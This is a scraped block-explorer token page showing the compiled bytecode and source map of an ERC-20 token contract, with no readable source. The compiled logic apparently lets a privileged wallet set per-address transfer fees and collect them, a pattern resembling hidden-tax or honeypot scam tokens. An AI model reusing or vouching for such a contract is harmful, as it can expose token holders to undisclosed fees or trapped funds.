fffffffffffffffffffffffffffffff1681526020019081526020015f20546107599190611695565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b600190509392505050565b600b5481565b60065f9054906101000a900460ff1681565b6007602052805f5260405f205f915054906101000a900460ff1681565b600a602052805f5260405f205f915090505481565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60058054610914906118af565b80601f0160208091040260200160405190810160405280929190818152602001828054610940906118af565b801561098b5780601f106109625761010080835404028352916020019161098b565b820191905f5260205f20905b81548152906001019060200180831161096e57829003601f168201915b505050505081565b5f3373ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109ef5760016109f2565b60095b60ff1690505f600382610a059190611695565b90508091505f5b8451811015610a845783600a5f878481518110610a2c57610a2b6118df565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508080610a7c9061190c565b915050610a0c565b5050505050565b5f610a97338484610cd9565b6001905092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba79061199d565b60405180910390fd5b805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ccc9190611357565b60405180910390a3505050565b5f600960149054906101000a900460ff16158015610d3e575060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015610d91575060075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b90508160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610ddc9190611695565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f8115611058575f3373ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e80576001610e83565b60095b60ff1690505f80600a5f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205414610f27576064600a5f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205486610f189190611841565b610f2291906119e8565b610f42565b6064600b5486610f379190611841565b610f4191906119e8565b5b90508083610f509190611a18565b92505f811115611055578060015f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610fc79190611a18565b9250508190555060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161104c9190611357565b60405180910390a35b50505b808360015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546110a29190611a18565b6110ac9190611695565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83866111489190611695565b6040516111559190611357565b60405180910390a35050505050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61119e82611175565b9050919050565b6111ae81611194565b81146111b8575f80fd5b50565b5f813590506111c9816111a5565b92915050565b5f602082840312156111e4576111e361116d565b5b5f6111f1848285016111bb565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611231578082015181840152602081019050611216565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611256826111fa565b6112608185611204565b9350611270818560208601611214565b6112798161123c565b840191505092915050565b5f6020820190508181035f83015261129c818461124c565b905092915050565b5f819050919050565b6112b6816112a4565b81146112c0575f80fd5b50565b5f813590506112d1816112ad565b92915050565b5f80604083850312156112ed576112ec61116d565b5b5f6112fa858286016111bb565b925050602061130b858286016112c3565b9150509250929050565b5f8115159050919050565b61132981611315565b82525050565b5f6020820190506113425f830184611320565b92915050565b611351816112a4565b82525050565b5f60208201905061136a5f830184611348565b92915050565b5f805f606084860312156113875761138661116d565b5b5f611394868287016111bb565b93505060206113a5868287016111bb565b92505060406113b6868287016112c3565b9150509250925092565b5f60ff82169050919050565b6113d5816113c0565b82525050565b5f6020820190506113ee5f8301846113cc565b92915050565b6113fd81611194565b82525050565b5f6020820190506114165f8301846113f4565b92915050565b5f819050919050565b5f61143f61143a61143584611175565b61141c565b611175565b9050919050565b5f61145082611425565b9050919050565b5f61146182611446565b9050919050565b61147181611457565b82525050565b5f60208201905061148a5f830184611468565b92915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6114ca8261123c565b810181811067ffffffffffffffff821117156114e9576114e8611494565b5b80604052505050565b5f6114fb611164565b905061150782826114c1565b919050565b5f67ffffffffffffffff82111561152657611525611494565b5b602082029050602081019050919050565b5f80fd5b5f61154d6115488461150c565b6114f2565b905080838252602082019050602084028301858111156115705761156f611537565b5b835b81811015611599578061158588826111bb565b845260208401935050602081019050611572565b5050509392505050565b5f82601f8301126115b7576115b6611490565b5b81356115c784826020860161153b565b91505092915050565b5f80604083850312156115e6576115e561116d565b5b5f83013567ffffffffffffffff81111561160357611602611171565b5b61160f858286016115a3565b9250506020611620858286016112c3565b9150509250929050565b5f80604083850312156116405761163f61116d565b5b5f61164d858286016111bb565b925050602061165e858286016111bb565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61169f826112a4565b91506116aa836112a4565b92508282039050818111156116c2576116c1611668565b5b92915050565b5f8160011c9050919050565b5f808291508390505b600185111561171d578086048111156116f9576116f8611668565b5b60018516156117085780820291505b8081029050611716856116c8565b94506116dd565b94509492505050565b5f8261173557600190506117f0565b81611742575f90506117f0565b8160018114611758576002811461176257611791565b60019150506117f0565b60ff84111561177457611773611668565b5b8360020a91508482111561178b5761178a611668565b5b506117f0565b5060208310610133831016604e8410600b84101617156117c65782820a9050838111156117c1576117c0611668565b5b6117f0565b6117d384848460016116d4565b925090508184048111156117ea576117e9611668565b5b81810290505b9392505050565b5f611801826112a4565b915061180c836113c0565b92506118397fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611726565b905092915050565b5f61184b826112a4565b9150611856836112a4565b9250828202611864816112a4565b9150828204841483151761187b5761187a611668565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806118c657607f821691505b6020821081036118d9576118d8611882565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f611916826112a4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361194857611947611668565b5b600182019050919050565b7f216f776e657200000000000000000000000000000000000000000000000000005f82015250565b5f611987600683611204565b915061199282611953565b602082019050919050565b5f6020820190508181035f8301526119b48161197b565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6119f2826112a4565b91506119fd836112a4565b925082611a0d57611a0c6119bb565b5b828204905092915050565b5f611a22826112a4565b9150611a2d836112a4565b9250828201905080821115611a4557611a44611668565b5b9291505056fea2646970667358221220f810a14d6b32ccc06d2201044a0bdadad0ae74651accf5d5434522d0337be08864736f6c63430008140033
Deployed Bytecode Sourcemap
1083:3988:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3796:253;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1434:18;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4417:124;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1558:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4547:327;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1753:23;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1480:21;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1502:49;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1697:46;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1408:25;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1783:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1585:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4057:94;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;796:63;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1453:20;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3506:282;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4157:130;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4293:118;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;968:106;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3796:253;3843:44;3890:9;3843:56;;3910:9;3936:10;3922:24;;:10;;;;;;;;;;;:24;;;:34;;3953:3;3922:34;;;3949:1;3922:34;3910:46;;;;3967:9;3983:1;3979;:5;;;;:::i;:::-;3967:17;;3989:1;3985:5;;4040:1;4037;:4;;;;:::i;:::-;4025:11;;4020:4;:16;;;;:::i;:::-;:21;;;;:::i;:::-;4001:10;:16;4012:4;4001:16;;;;;;;;;;;;;;;:40;;;;3832:217;;;3796:253;:::o;1434:18::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;4417:124::-;4483:4;4490:37;4499:10;4511:7;4520:6;4490:8;:37::i;:::-;4535:4;4528:11;;4417:124;;;;:::o;1558:26::-;;;;:::o;4547:327::-;4636:4;4653:36;4663:6;4671:9;4682:6;4653:9;:36::i;:::-;1688:1;1679:11;4704;:19;4716:6;4704:19;;;;;;;;;;;;;;;:31;4724:10;4704:31;;;;;;;;;;;;;;;;:38;4700:145;;4827:6;4793:11;:19;4805:6;4793:19;;;;;;;;;;;;;;;:31;4813:10;4793:31;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;4759:11;:19;4771:6;4759:19;;;;;;;;;;;;;;;:31;4779:10;4759:31;;;;;;;;;;;;;;;:74;;;;4700:145;4862:4;4855:11;;4547:327;;;;;:::o;1753:23::-;;;;:::o;1480:21::-;;;;;;;;;;;;;:::o;1502:49::-;;;;;;;;;;;;;;;;;;;;;;:::o;1697:46::-;;;;;;;;;;;;;;;;;:::o;1408:25::-;;;;;;;;;;;;;:::o;1783:27::-;;;;;;;;;;;;;:::o;1585:36::-;;;;;;;;;;;;;:::o;4057:94::-;4114:7;4131:9;:18;4141:7;4131:18;;;;;;;;;;;;;;;;4124:25;;4057:94;;;:::o;796:63::-;834:7;851:6;;;;;;;;;;;844:13;;796:63;:::o;1453:20::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;3506:282::-;3587:9;3613:10;3599:24;;:10;;;;;;;;;;;:24;;;:34;;3630:3;3599:34;;;3626:1;3599:34;3587:46;;;;3644:9;3660:1;3656;:5;;;;:::i;:::-;3644:17;;3666:1;3662:5;;3683:9;3678:103;3702:5;:12;3698:1;:16;3678:103;;;3759:10;3736;:20;3747:5;3753:1;3747:8;;;;;;;;:::i;:::-;;;;;;;;3736:20;;;;;;;;;;;;;;;:33;;;;3716:3;;;;;:::i;:::-;;;;3678:103;;;;3576:212;;3506:282;;:::o;4157:130::-;4226:4;4233:40;4243:10;4255:9;4266:6;4233:9;:40::i;:::-;4281:4;4274:11;;4157:130;;;;:::o;4293:118::-;4365:7;4382:11;:18;4394:5;4382:18;;;;;;;;;;;;;;;:27;4401:7;4382:27;;;;;;;;;;;;;;;;4375:34;;4293:118;;;;:::o;968:106::-;915:10;905:20;;:6;;;;;;;;;;:20;;;897:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;1058:8:::1;1049:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;968:106:::0;:::o;4882:151::-;4987:6;4957:11;:18;4969:5;4957:18;;;;;;;;;;;;;;;:27;4976:7;4957:27;;;;;;;;;;;;;;;:36;;;;5015:7;4999:32;;5008:5;4999:32;;;5024:6;4999:32;;;;;;:::i;:::-;;;;;;;;4882:151;;;:::o;1819:813::-;1899:20;1923:6;;;;;;;;;;;1922:7;:35;;;;;1934:17;:23;1952:4;1934:23;;;;;;;;;;;;;;;;;;;;;;;;;1933:24;1922:35;:61;;;;;1962:17;:21;1980:2;1962:21;;;;;;;;;;;;;;;;;;;;;;;;;1961:22;1922:61;1899:84;;2032:6;2014:9;:15;2024:4;2014:15;;;;;;;;;;;;;;;;:24;;;;:::i;:::-;1996:9;:15;2006:4;1996:15;;;;;;;;;;;;;;;:42;;;;2051:18;2084:15;2080:428;;;2116:9;2142:10;2128:24;;:10;;;;;;;;;;;:24;;;:34;;2159:3;2128:34;;;2155:1;2128:34;2116:46;;;;2177:17;2217:1;2197:10;:16;2208:4;2197:16;;;;;;;;;;;;;;;;:21;:81;;2275:3;2256:10;:16;2267:4;2256:16;;;;;;;;;;;;;;;;2247:6;:25;;;;:::i;:::-;:31;;;;:::i;:::-;2197:81;;;2241:3;2230:8;;2221:6;:17;;;;:::i;:::-;:23;;;;:::i;:::-;2197:81;2177:101;;2307:9;2293:23;;;;;:::i;:::-;;;2347:1;2335:9;:13;2331:166;;;2402:9;2368;:30;2386:10;;;;;;;;;;;2368:30;;;;;;;;;;;;;;;;:43;;;;;;;:::i;:::-;;;;;;;;2458:10;;;;;;;;;;;2435:46;;2444:4;2435:46;;;2471:9;2435:46;;;;;;:::i;:::-;;;;;;;;2331:166;2101:407;;2080:428;2559:10;2550:6;2534:9;:13;2544:2;2534:13;;;;;;;;;;;;;;;;:22;;;;:::i;:::-;:35;;;;:::i;:::-;2518:9;:13;2528:2;2518:13;;;;;;;;;;;;;;;:51;;;;2600:2;2585:39;;2594:4;2585:39;;;2613:10;2604:6;:19;;;;:::i;:::-;2585:39;;;;;;:::i;:::-;;;;;;;;1886:746;;1819:813;;;:::o;7:75:1:-;40:6;73:2;67:9;57:19;;7:75;:::o;88:117::-;197:1;194;187:12;211:117;320:1;317;310:12;334:126;371:7;411:42;404:5;400:54;389:65;;334:126;;;:::o;466:96::-;503:7;532:24;550:5;532:24;:::i;:::-;521:35;;466:96;;;:::o;568:122::-;641:24;659:5;641:24;:::i;:::-;634:5;631:35;621:63;;680:1;677;670:12;621:63;568:122;:::o;696:139::-;742:5;780:6;767:20;758:29;;796:33;823:5;796:33;:::i;:::-;696:139;;;;:::o;841:329::-;900:6;949:2;937:9;928:7;924:23;920:32;917:119;;;955:79;;:::i;:::-;917:119;1075:1;1100:53;1145:7;1136:6;1125:9;1121:22;1100:53;:::i;:::-;1090:63;;1046:117;841:329;;;;:::o;1176:99::-;1228:6;1262:5;1256:12;1246:22;;1176:99;;;:::o;1281:169::-;1365:11;1399:6;1394:3;1387:19;1439:4;1434:3;1430:14;1415:29;;1281:169;;;;:::o;1456:246::-;1537:1;1547:113;1561:6;1558:1;1555:13;1547:113;;;1646:1;1641:3;1637:11;1631:18;1627:1;1622:3;1618:11;1611:39;1583:2;1580:1;1576:10;1571:15;;1547:113;;;1694:1;1685:6;1680:3;1676:16;1669:27;1518:184;1456:246;;;:::o;1708:102::-;1749:6;1800:2;1796:7;1791:2;1784:5;1780:14;1776:28;1766:38;;1708:102;;;:::o;1816:377::-;1904:3;1932:39;1965:5;1932:39;:::i;:::-;1987:71;2051:6;2046:3;1987:71;:::i;:::-;1980:78;;2067:65;2125:6;2120:3;2113:4;2106:5;2102:16;2067:65;:::i;:::-;2157:29;2179:6;2157:29;:::i;:::-;2152:3;2148:39;2141:46;;1908:285;1816:377;;;;:::o;2199:313::-;2312:4;2350:2;2339:9;2335:18;2327:26;;2399:9;2393:4;2389:20;2385:1;2374:9;2370:17;2363:47;2427:78;2500:4;2491:6;2427:78;:::i;:::-;2419:86;;2199:313;;;;:::o;2518:77::-;2555:7;2584:5;2573:16;;2518:77;;;:::o;2601:122::-;2674:24;2692:5;2674:24;:::i;:::-;2667:5;2664:35;2654:63;;2713:1;2710;2703:12;2654:63;2601:122;:::o;2729:139::-;2775:5;2813:6;2800:20;2791:29;;2829:33;2856:5;2829:33;:::i;:::-;2729:139;;;;:::o;2874:474::-;2942:6;2950;2999:2;2987:9;2978:7;2974:23;2970:32;2967:119;;;3005:79;;:::i;:::-;2967:119;3125:1;3150:53;3195:7;3186:6;3175:9;3171:22;3150:53;:::i;:::-;3140:63;;3096:117;3252:2;3278:53;3323:7;3314:6;3303:9;3299:22;3278:53;:::i;:::-;3268:63;;3223:118;2874:474;;;;;:::o;3354:90::-;3388:7;3431:5;3424:13;3417:21;3406:32;;3354:90;;;:::o;3450:109::-;3531:21;3546:5;3531:21;:::i;:::-;3526:3;3519:34;3450:109;;:::o;3565:210::-;3652:4;3690:2;3679:9;3675:18;3667:26;;3703:65;3765:1;3754:9;3750:17;3741:6;3703:65;:::i;:::-;3565:210;;;;:::o;3781:118::-;3868:24;3886:5;3868:24;:::i;:::-;3863:3;3856:37;3781:118;;:::o;3905:222::-;3998:4;4036:2;4025:9;4021:18;4013:26;;4049:71;4117:1;4106:9;4102:17;4093:6;4049:71;:::i;:::-;3905:222;;;;:::o;4133:619::-;4210:6;4218;4226;4275:2;4263:9;4254:7;4250:23;4246:32;4243:119;;;4281:79;;:::i;:::-;4243:119;4401:1;4426:53;4471:7;4462:6;4451:9;4447:22;4426:53;:::i;:::-;4416:63;;4372:117;4528:2;4554:53;4599:7;4590:6;4579:9;4575:22;4554:53;:::i;:::-;4544:63;;4499:118;4656:2;4682:53;4727:7;4718:6;4707:9;4703:22;4682:53;:::i;:::-;4672:63;;4627:118;4133:619;;;;;:::o;4758:86::-;4793:7;4833:4;4826:5;4822:16;4811:27;;4758:86;;;:::o;4850:112::-;4933:22;4949:5;4933:22;:::i;:::-;4928:3;4921:35;4850:112;;:::o;4968:214::-;5057:4;5095:2;5084:9;5080:18;5072:26;;5108:67;5172:1;5161:9;5157:17;5148:6;5108:67;:::i;:::-;4968:214;;;;:::o;5188:118::-;5275:24;5293:5;5275:24;:::i;:::-;5270:3;5263:37;5188:118;;:::o;5312:222::-;5405:4;5443:2;5432:9;5428:18;5420:26;;5456:71;5524:1;5513:9;5509:17;5500:6;5456:71;:::i;:::-;5312:222;;;;:::o;5540:60::-;5568:3;5589:5;5582:12;;5540:60;;;:::o;5606:142::-;5656:9;5689:53;5707:34;5716:24;5734:5;5716:24;:::i;:::-;5707:34;:::i;:::-;5689:53;:::i;:::-;5676:66;;5606:142;;;:::o;5754:126::-;5804:9;5837:37;5868:5;5837:37;:::i;:::-;5824:50;;5754:126;;;:::o;5886:147::-;5957:9;5990:37;6021:5;5990:37;:::i;:::-;5977:50;;5886:147;;;:::o;6039:173::-;6147:58;6199:5;6147:58;:::i;:::-;6142:3;6135:71;6039:173;;:::o;6218:264::-;6332:4;6370:2;6359:9;6355:18;6347:26;;6383:92;6472:1;6461:9;6457:17;6448:6;6383:92;:::i;:::-;6218:264;;;;:::o;6488:117::-;6597:1;6594;6587:12;6611:180;6659:77;6656:1;6649:88;6756:4;6753:1;6746:15;6780:4;6777:1;6770:15;6797:281;6880:27;6902:4;6880:27;:::i;:::-;6872:6;6868:40;7010:6;6998:10;6995:22;6974:18;6962:10;6959:34;6956:62;6953:88;;;7021:18;;:::i;:::-;6953:88;7061:10;7057:2;7050:22;6840:238;6797:281;;:::o;7084:129::-;7118:6;7145:20;;:::i;:::-;7135:30;;7174:33;7202:4;7194:6;7174:33;:::i;:::-;7084:129;;;:::o;7219:311::-;7296:4;7386:18;7378:6;7375:30;7372:56;;;7408:18;;:::i;:::-;7372:56;7458:4;7450:6;7446:17;7438:25;;7518:4;7512;7508:15;7500:23;;7219:311;;;:::o;7536:117::-;7645:1;7642;7635:12;7676:710;7772:5;7797:81;7813:64;7870:6;7813:64;:::i;:::-;7797:81;:::i;:::-;7788:90;;7898:5;7927:6;7920:5;7913:21;7961:4;7954:5;7950:16;7943:23;;8014:4;8006:6;8002:17;7994:6;7990:30;8043:3;8035:6;8032:15;8029:122;;;8062:79;;:::i;:::-;8029:122;8177:6;8160:220;8194:6;8189:3;8186:15;8160:220;;;8269:3;8298:37;8331:3;8319:10;8298:37;:::i;:::-;8293:3;8286:50;8365:4;8360:3;8356:14;8349:21;;8236:144;8220:4;8215:3;8211:14;8204:21;;8160:220;;;8164:21;7778:608;;7676:710;;;;;:::o;8409:370::-;8480:5;8529:3;8522:4;8514:6;8510:17;8506:27;8496:122;;8537:79;;:::i;:::-;8496:122;8654:6;8641:20;8679:94;8769:3;8761:6;8754:4;8746:6;8742:17;8679:94;:::i;:::-;8670:103;;8486:293;8409:370;;;;:::o;8785:684::-;8878:6;8886;8935:2;8923:9;8914:7;8910:23;8906:32;8903:119;;;8941:79;;:::i;:::-;8903:119;9089:1;9078:9;9074:17;9061:31;9119:18;9111:6;9108:30;9105:117;;;9141:79;;:::i;:::-;9105:117;9246:78;9316:7;9307:6;9296:9;9292:22;9246:78;:::i;:::-;9236:88;;9032:302;9373:2;9399:53;9444:7;9435:6;9424:9;9420:22;9399:53;:::i;:::-;9389:63;;9344:118;8785:684;;;;;:::o;9475:474::-;9543:6;9551;9600:2;9588:9;9579:7;9575:23;9571:32;9568:119;;;9606:79;;:::i;:::-;9568:119;9726:1;9751:53;9796:7;9787:6;9776:9;9772:22;9751:53;:::i;:::-;9741:63;;9697:117;9853:2;9879:53;9924:7;9915:6;9904:9;9900:22;9879:53;:::i;:::-;9869:63;;9824:118;9475:474;;;;;:::o;9955:180::-;10003:77;10000:1;9993:88;10100:4;10097:1;10090:15;10124:4;10121:1;10114:15;10141:194;10181:4;10201:20;10219:1;10201:20;:::i;:::-;10196:25;;10235:20;10253:1;10235:20;:::i;:::-;10230:25;;10279:1;10276;10272:9;10264:17;;10303:1;10297:4;10294:11;10291:37;;;10308:18;;:::i;:::-;10291:37;10141:194;;;;:::o;10341:102::-;10383:8;10430:5;10427:1;10423:13;10402:34;;10341:102;;;:::o;10449:848::-;10510:5;10517:4;10541:6;10532:15;;10565:5;10556:14;;10579:712;10600:1;10590:8;10587:15;10579:712;;;10695:4;10690:3;10686:14;10680:4;10677:24;10674:50;;;10704:18;;:::i;:::-;10674:50;10754:1;10744:8;10740:16;10737:451;;;11169:4;11162:5;11158:16;11149:25;;10737:451;11219:4;11213;11209:15;11201:23;;11249:32;11272:8;11249:32;:::i;:::-;11237:44;;10579:712;;;10449:848;;;;;;;:::o;11303:1073::-;11357:5;11548:8;11538:40;;11569:1;11560:10;;11571:5;;11538:40;11597:4;11587:36;;11614:1;11605:10;;11616:5;;11587:36;11683:4;11731:1;11726:27;;;;11767:1;11762:191;;;;11676:277;;11726:27;11744:1;11735:10;;11746:5;;;11762:191;11807:3;11797:8;11794:17;11791:43;;;11814:18;;:::i;:::-;11791:43;11863:8;11860:1;11856:16;11847:25;;11898:3;11891:5;11888:14;11885:40;;;11905:18;;:::i;:::-;11885:40;11938:5;;;11676:277;;12062:2;12052:8;12049:16;12043:3;12037:4;12034:13;12030:36;12012:2;12002:8;11999:16;11994:2;11988:4;11985:12;11981:35;11965:111;11962:246;;;12118:8;12112:4;12108:19;12099:28;;12153:3;12146:5;12143:14;12140:40;;;12160:18;;:::i;:::-;12140:40;12193:5;;11962:246;12233:42;12271:3;12261:8;12255:4;12252:1;12233:42;:::i;:::-;12218:57;;;;12307:4;12302:3;12298:14;12291:5;12288:25;12285:51;;;12316:18;;:::i;:::-;12285:51;12365:4;12358:5;12354:16;12345:25;;11303:1073;;;;;;:::o;12382:281::-;12440:5;12464:23;12482:4;12464:23;:::i;:::-;12456:31;;12508:25;12524:8;12508:25;:::i;:::-;12496:37;;12552:104;12589:66;12579:8;12573:4;12552:104;:::i;:::-;12543:113;;12382:281;;;;:::o;12669:410::-;12709:7;12732:20;12750:1;12732:20;:::i;:::-;12727:25;;12766:20;12784:1;12766:20;:::i;:::-;12761:25;;12821:1;12818;12814:9;12843:30;12861:11;12843:30;:::i;:::-;12832:41;;13022:1;13013:7;13009:15;13006:1;13003:22;12983:1;12976:9;12956:83;12933:139;;13052:18;;:::i;:::-;12933:139;12717:362;12669:410;;;;:::o;13085:180::-;13133:77;13130:1;13123:88;13230:4;13227:1;13220:15;13254:4;13251:1;13244:15;13271:320;13315:6;13352:1;13346:4;13342:12;13332:22;;13399:1;13393:4;13389:12;13420:18;13410:81;;13476:4;13468:6;13464:17;13454:27;;13410:81;13538:2;13530:6;13527:14;13507:18;13504:38;13501:84;;13557:18;;:::i;:::-;13501:84;13322:269;13271:320;;;:::o;13597:180::-;13645:77;13642:1;13635:88;13742:4;13739:1;13732:15;13766:4;13763:1;13756:15;13783:233;13822:3;13845:24;13863:5;13845:24;:::i;:::-;13836:33;;13891:66;13884:5;13881:77;13878:103;;13961:18;;:::i;:::-;13878:103;14008:1;14001:5;13997:13;13990:20;;13783:233;;;:::o;14022:156::-;14162:8;14158:1;14150:6;14146:14;14139:32;14022:156;:::o;14184:365::-;14326:3;14347:66;14411:1;14406:3;14347:66;:::i;:::-;14340:73;;14422:93;14511:3;14422:93;:::i;:::-;14540:2;14535:3;14531:12;14524:19;;14184:365;;;:::o;14555:419::-;14721:4;14759:2;14748:9;14744:18;14736:26;;14808:9;14802:4;14798:20;14794:1;14783:9;14779:17;14772:47;14836:131;14962:4;14836:131;:::i;:::-;14828:139;;14555:419;;;:::o;14980:180::-;15028:77;15025:1;15018:88;15125:4;15122:1;15115:15;15149:4;15146:1;15139:15;15166:185;15206:1;15223:20;15241:1;15223:20;:::i;:::-;15218:25;;15257:20;15275:1;15257:20;:::i;:::-;15252:25;;15296:1;15286:35;;15301:18;;:::i;:::-;15286:35;15343:1;15340;15336:9;15331:14;;15166:185;;;;:::o;15357:191::-;15397:3;15416:20;15434:1;15416:20;:::i;:::-;15411:25;;15450:20;15468:1;15450:20;:::i;:::-;15445:25;;15493:1;15490;15486:9;15479:16;;15514:3;15511:1;15508:10;15505:36;;;15521:18;;:::i;:::-;15505:36;15357:191;;;;:::o
Swarm Source
ipfs://f810a14d6b32ccc06d2201044a0bdadad0ae74651accf5d5434522d0337be088
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.